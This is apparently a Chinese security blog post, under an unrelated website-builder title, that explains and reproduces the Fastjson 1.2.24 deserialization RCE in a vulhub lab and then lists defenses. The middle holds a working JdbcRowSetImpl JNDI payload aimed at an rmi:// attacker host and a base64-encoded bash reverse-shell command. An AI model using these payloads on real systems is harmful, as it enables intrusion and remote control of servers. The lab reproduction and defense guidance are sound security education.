个人网站用凡科建站好吗哪里有帮做微课的网站
2026/5/21 15:42:18 网站建设 项目流程
个人网站用凡科建站好吗,哪里有帮做微课的网站,怎么制作自己的网页网站,搜狗浏览器网页版入口漏洞简介 漏洞成因: 首先介绍一下fastjson是什么? Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。 为什么会有这个漏洞呢? 原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化, 由于反序列化时,会触发类的…漏洞简介漏洞成因:首先介绍一下fastjson是什么?Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。为什么会有这个漏洞呢?原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化,由于反序列化时,会触发类的构造函数,setter,getter或者其他隐式方法攻击者可以通过精心构造恶意json,反序列化,触发特定的类,传入构造的参数,如果这些类的方法刚刚好使用了攻击者可控的参数,就会形成利用链,最终触发JNDI注入,实现远程代码执行以下是一个autotype的基本用法:{type:SomeClass,url:xxx}其中type参数是传入的要反序列加载的类url相当于type类里面执行了setUrl(xxx),会改变类里面的值注意:不同的环境会因为Classpath不同,形成不同的Gadget/利用链影响版本:受fastjson影响的带漏洞版本有很多:1.2.24及以下没有对序列化的类做校验,导致漏洞产生1.2.25-1.2.41增加了黑名单限制更改autoType默认为关闭选项。1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式1.2.43版本是对1.2.42及以下版本的黑名单绕过1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验1.2.72-1.2.80使用期望类Throwable的子类,进行绕过接下来,我复现的是1.2.24版本的fastjson漏洞复现环境搭建靶机环境使用 vulhubcdvulhub/fastjson/1.2.24-rcedocker-composeup -d访问http://靶机IP:8090攻击机环境Java-Chains用于生成 JNDI 利用链nc/netcat用于监听反弹 shell估计步骤使用javachains生成jndi的dnslog命令,检测是否出网post发送{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.41.128:50388/fb4ac1,autoCommit:true}}尝试命令执行反弹shellechoYmFzaCAtaSAJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ|base64 -d|bash成功反弹原理:通过fastjson反序列化,加载类com.sun.rowset.JdbcRowSetImpl,这个类是jdbc的数据库驱动类先将autoCommit赋值为true,说明开启自动连接,就是在类进行初始化的时候自动执行connect()方法为什么jdbc会调用ldap和rmi协议呢?dataSourceName则是通过jdbc连接数据库,由于jdbc的连接操作是通过jndi接口来进行,就是会根据url前缀来选择相应的服务器提供者URL 格式协议JNDI 服务提供者用途rmi://host:port/nameRMIrmiURLContextFactoryJava 远程对象调用ldap://host:port/dnLDAPldapURLContextFactory目录服务访问dns://host/nameDNSdnsURLContextFactory域名解析file:///pathFilefsURLContextFactory文件系统访问简化后的连接代码:// 简化后的关键代码publicvoidconnect()throwsSQLException{if(conn!null)return;// 使用 JNDI 查找数据源InitialContextctxnewInitialContext();DataSourceds(DataSource)ctx.lookup(dataSourceName);connds.getConnection();}根据url前缀来选择相应的服务器提供者漏洞防御最根本的解决方案将 Fastjson 升级到最新安全版本1.2.83 及以上版本官方修复了大部分已知漏洞1.2.68 及以上版本修复了 AutoCloseable 绕过问题建议直接升级到最新稳定版关闭autotype开关在配置文件中显式关闭 AutoType如果业务不需要// 全局关闭 AutoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);// 或者创建 JSON 对象时指定JSON.parseObject(jsonString,Object.class,Feature.SupportAutoType);配置黑白名单白名单方式推荐ParserConfigconfigParserConfig.getGlobalInstance();// 添加允许反序列化的类config.addAccept(com.example.safe.);config.addAccept(java.util.);// 关闭其他所有config.setAutoTypeSupport(false);运行时安全措施JVM 参数限制# 禁用远程类加载-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse-Dcom.sun.jndi.cosnaming.object.trustURLCodebasefalse#JDK6u132,7u122,8u113 及以上版本默认已设置免责声明本文仅用于安全研究及防御教育目的。未经授权对他人系统进行测试可能违反法律请确保操作在合法环境下进行。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询